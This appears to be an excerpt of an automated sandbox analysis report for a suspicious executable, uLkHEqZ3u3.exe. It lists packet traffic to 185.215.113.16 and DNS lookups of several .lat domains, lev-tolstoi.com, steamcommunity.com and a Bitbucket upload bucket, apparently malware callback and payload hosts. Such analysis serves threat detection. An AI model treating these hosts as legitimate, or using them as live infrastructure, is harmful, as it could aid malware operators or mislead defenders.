Dec 23, 2024 06:54:37.600172043 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.600209951 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.600224972 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.601370096 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.601383924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.601424932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.602546930 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.602560043 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.602592945 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.602607012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.603605986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.603837967 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.603877068 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.603919029 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.604835987 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.604886055 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.604949951 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.605164051 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.606048107 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.606097937 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.606106997 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.606144905 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.607167959 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.607242107 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.607306957 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.607364893 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.608361006 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.608433008 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.608504057 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.608552933 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.609577894 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.609620094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.609656096 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.609693050 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.610738039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.610784054 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.610934973 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.610980988 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.611922979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.611972094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.612005949 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.613159895 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.613221884 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.613311052 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.614274979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.614331007 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.614348888 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.614381075 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.615475893 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.615569115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.615643978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.616703033 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.616761923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.616813898 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.617803097 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.619000912 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.747498989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.747625113 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.747656107 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.747704983 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.748034000 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.748091936 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.748213053 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.748258114 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.749203920 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.749260902 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.749336004 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.749382019 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.750458002 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.750504971 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.750560999 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.750607014 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.751586914 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.751633883 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.751729012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.751774073 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.752835989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.752898932 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.752974033 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.754019022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.754097939 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.754169941 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.755173922 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.755237103 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.755290985 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.756352901 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.756433964 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.756484985 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.757508039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.757566929 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.757617950 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.758742094 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.758797884 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.758807898 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.759855032 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.759898901 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.759967089 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.760003090 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.761054039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.761152029 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.761197090 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.762329102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.762481928 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.762573004 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.763468981 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.763525009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.763583899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.764600039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.764651060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.764703035 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.765893936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.765927076 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.765950918 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.765976906 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.766983986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.767055988 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.767101049 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.768644094 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.768666983 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.768731117 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.769331932 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.769454002 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.769520998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.770616055 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.770723104 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.770791054 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.771791935 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.771856070 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.771919012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.772931099 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.773041964 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.773114920 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.774146080 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.774204969 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.774276972 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.775300026 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.775388956 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.775454998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.776488066 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.776604891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.776671886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.777666092 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.777764082 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.777825117 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.778877020 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.778987885 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.779071093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.780177116 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.780199051 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.780272007 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.781260014 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.781316042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.781385899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.782428980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.782560110 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.782624960 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.783657074 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.783785105 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.783843994 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.784748077 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.784864902 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.784918070 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.785999060 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.786046982 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.786101103 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.786900043 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.787117004 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.787167072 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.787206888 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.787254095 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.788320065 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.788438082 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.788484097 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.789539099 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.789832115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.789880991 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.790807009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.790854931 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.790916920 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.791997910 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.792046070 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.792210102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.792644978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.793076038 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.793248892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.793291092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.794240952 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.794544935 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.794589043 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.795579910 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.795593023 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.795631886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.796649933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.796689987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.796741009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.797843933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.797885895 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.797899961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.798773050 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.799000025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.799062967 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.799108028 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.800215006 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.800297022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.800367117 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.801388025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.801476002 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.801538944 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.802551985 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.802625895 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.802694082 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.803742886 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.803894043 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.803961992 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.804963112 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.805033922 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.805082083 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.806119919 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.806200981 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.806230068 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.806837082 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.807326078 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.807462931 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.807523012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.808502913 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.808568954 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.808602095 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.808749914 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.809590101 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.809637070 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.899460077 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.899641991 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.900059938 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.900093079 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.900109053 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.900109053 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.900119066 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.939483881 CET	80	49927	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 06:53:10.567435026 CET	192.168.2.6	1.1.1.1	0xdf11	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:10.709705114 CET	192.168.2.6	1.1.1.1	0x176	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:10.849905968 CET	192.168.2.6	1.1.1.1	0xf0bc	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.048537016 CET	192.168.2.6	1.1.1.1	0x6976	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.192631006 CET	192.168.2.6	1.1.1.1	0xccfa	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.424343109 CET	192.168.2.6	1.1.1.1	0xb2c6	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.564701080 CET	192.168.2.6	1.1.1.1	0x6ff	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.711838007 CET	192.168.2.6	1.1.1.1	0x1cc5	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.935357094 CET	192.168.2.6	1.1.1.1	0xb87	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:12.077229977 CET	192.168.2.6	1.1.1.1	0x3346	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:14.868765116 CET	192.168.2.6	1.1.1.1	0x4898	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:57.709543943 CET	192.168.2.6	1.1.1.1	0x628f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:57.709670067 CET	192.168.2.6	1.1.1.1	0xcbe6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 23, 2024 06:54:04.531233072 CET	192.168.2.6	1.1.1.1	0xba27	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:54:04.531619072 CET	192.168.2.6	1.1.1.1	0x2e2f	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 23, 2024 06:54:05.526113033 CET	192.168.2.6	1.1.1.1	0x847a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:54:05.526335955 CET	192.168.2.6	1.1.1.1	0x7b75	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 23, 2024 06:55:08.493922949 CET	192.168.2.6	1.1.1.1	0x6470	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.759551048 CET	192.168.2.6	1.1.1.1	0x8e1d	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 06:53:10.705693960 CET	1.1.1.1	192.168.2.6	0xdf11	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:10.847589016 CET	1.1.1.1	192.168.2.6	0x176	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:10.988437891 CET	1.1.1.1	192.168.2.6	0xf0bc	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.186311007 CET	1.1.1.1	192.168.2.6	0x6976	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.416218042 CET	1.1.1.1	192.168.2.6	0xccfa	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.562921047 CET	1.1.1.1	192.168.2.6	0xb2c6	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.709836960 CET	1.1.1.1	192.168.2.6	0x6ff	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:11.932802916 CET	1.1.1.1	192.168.2.6	0x1cc5	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:12.073493004 CET	1.1.1.1	192.168.2.6	0xb87	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:12.214179993 CET	1.1.1.1	192.168.2.6	0x3346	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:15.009390116 CET	1.1.1.1	192.168.2.6	0x4898	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:15.009390116 CET	1.1.1.1	192.168.2.6	0x4898	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:53:57.846452951 CET	1.1.1.1	192.168.2.6	0xcbe6	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 23, 2024 06:53:57.846467018 CET	1.1.1.1	192.168.2.6	0x628f	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:54:04.668335915 CET	1.1.1.1	192.168.2.6	0xba27	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 06:54:04.668335915 CET	1.1.1.1	192.168.2.6	0xba27	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:54:04.669085979 CET	1.1.1.1	192.168.2.6	0x2e2f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 06:54:05.662751913 CET	1.1.1.1	192.168.2.6	0x847a	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:08.632971048 CET	1.1.1.1	192.168.2.6	0x6470	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:08.632971048 CET	1.1.1.1	192.168.2.6	0x6470	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:08.632971048 CET	1.1.1.1	192.168.2.6	0x6470	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.37.145	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		16.15.178.165	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.20.215	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.168.97	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.66	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.167.57	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.98	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:55:10.968318939 CET	1.1.1.1	192.168.2.6	0x8e1d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.161	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49758	185.215.113.16	80	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
